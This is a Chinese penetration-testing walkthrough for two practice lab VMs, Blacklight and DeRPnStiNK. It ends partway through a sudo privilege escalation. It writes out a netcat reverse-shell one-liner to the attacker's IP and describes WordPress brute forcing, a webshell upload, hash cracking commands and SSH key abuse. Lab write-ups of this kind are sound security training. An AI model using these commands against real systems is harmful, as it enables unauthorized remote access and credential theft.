引言:已经有一段时间没有更新有关渗透测试的文章了。最近我抽出一些时间来继续更新文章。为什么这篇文章要将两个靶机的内容写在一起呢?因为第一个靶机相对较简单,虽然我被困在那里几天,但是我觉得将其与之前玩过的另一个靶机合并在一起发表更合适。靶机安装/下载:Blacklight靶机下载:DeRPnStiNK靶机下载:Blacklight靶机IP:172.16.24.92DeRPnStiNK靶机IP:172.16.24.69攻击者IP:172.16.24.31
实战1:Blacklight靶机。按照惯例,我使用nmap进行端口扫描,个人习惯是扫描所有端口。通过端口扫描,我发现该靶机开放了两个服务端口,一个是80端口,另一个是9072端口,但是9072端口显示为未知服务。我们继续以80端口作为突破口。
界面相对简单,我使用目录爆破工具进行扫描,你可以根据个人喜好选择不同的工具。我仍然使用kali自带的dirb(注:之前的文章中有读者提到我使用的某个目录爆破工具无法找到他们所说的某个目录,我认为大家不应该局限于特定的工具,可以尝试多种工具并收集更多的字典文件)。
经过简单的扫描,我发现了一个”robots.txt”文件,根据经验,这个目录通常是有价值的。让我们访问一下看看。我们找到了flag1.txt和blacklight.dict两个目录。我们已经获得了第一个flag:”fc4c7223964a26b152823d14f129687207e7fe15″,并且告诉我们9072的秘密在首页(”家?”)。另外一个目录显然是一个密码字典。根据提示,我在这里卡了好几天。我收集了该作者的GitHub、博客首页、他写的一些项目以及与MSF官方的交流信息等等,一个个搜索查看与”9072″有关的线索,但是一无所获。我本来有点想放弃,但是看到他写的说这个靶机适合初学者,我感到有点尴尬。最后,我决定尝试一下”banner-plus”插件进行探测,结果有所发现。
我发现了一个”.help”命令,那就直接输入”telnet 172.16.24.92 9072″,按照提示输入”.help”。第一个命令是读取哈希值,我们试着用刚刚那个字典来破解一下(其实完全不需要)。
实际上,我们只需要使用”.exec”命令。命令如下:.exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.24.31 5555 >/tmp/f(外面要加一个引号)。
注意:这里只有两次命令输入的机会,超过次数需要重新启动靶机。我们已经成功获得了shell,并且权限为root。这个靶机完成了!是不是很简单?
2.DeRPnStiNK靶机。按照惯例,我们先使用nmap进行端口扫描。可以看到开放了多个端口服务,我们仍然使用80端口作为突破口,使用命令:curl。
(注:该flag无法通过访问网页查看源码获得)。下一步仍然是进行目录扫描。我们发现了许多目录,如”/php”、”/weblog/”等等。我们访问一下。为了方便演示,我们添加了本地DNS转换,并结合访问”/weblog”目录时浏览器左下角一直在请求连接”derpnstink.local”。如图所示。
我们继续访问,可以看到页面已经可以正常访问。通过之前的目录扫描,我们已经知道它是使用WordPress搭建的网站。下面我们直接使用wpscan来扫描该网站,并尝试使用自己的字典来爆破账号密码。如图所示。
通过扫描结果,我们幸运地发现了几个漏洞,并成功爆破出了账号密码,都是”admin”。下一步当然是登录并获取shell。我相信这对聪明的读者来说肯定不是问题。在这里,我使用了Metasploit来帮助完成(之前的文章中已经使用过这个模块,这里就不再赘述)。如图所示。
为了演示方便,我上传了一个webshell。下面我们查看”wp-config.php”文件,获取MySQL密码。得到的账号是”root”,密码是”mysql”。我们已经知道”/php”目录下是phpMyAdmin,为了演示方便,我使用phpMyAdmin登录并进行操作。登录后,在”wp-posts”表中找到了flag2。
flag2:a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6。在”wp-user”表中找到了哈希值:”$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41″。我们可以先确定一下这个哈希值的类型。下一步当然是破解这个哈希值了。你可以使用”hashcat”命令,命令如下:hashcat -a 0 -m 400 xx.hash mima.txt。由于我的电脑没有安装GPU补丁程序,所以我使用john来完成这个工作。得到的密码是”wedgie57″,账号是”stinky”。我们使用得到的账号密码登录FTP。
成功登录并获取了两个文件,一个是与”mrderp”用户的对话记录,另一个是SSH的登录密钥。我们将密钥复制到本地,然后使用SSH登录,如图所示。
已经成功登录!(注:在这里,key.txt必须具有足够的权限,否则无法登录)。下一步获取flag。
flag3:07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb。我们继续浏览目录,在/Documents目录下发现了一个”derpissues.pcap”握手包。我们将其下载下来进行分析,命令如下:scp -i key.txt stinky@172.16.24.69:/home/stinky/Documents/derpissues.pcap /tmp/derp.pcap。
我们使用Wireshark进行分析,得到了”mrderp”的密码,如图所示。
密码是:”derpderpderpderpderpderpderp”。下面我们切换账号登录试试。可以看到已经成功切换,并在桌面发现了一个”helpdesk.log”文件。下面我们尝试切换一下,看看是否成功。输入命令”sudo -l”。
出现了一个关键词:(ALL) /home/mrderp/binaries/derpy*。本来这个目录下是没有”/binaries/”目录的,我们可以创建这个目录并放入之前包含”derpy”的文件,如图所示。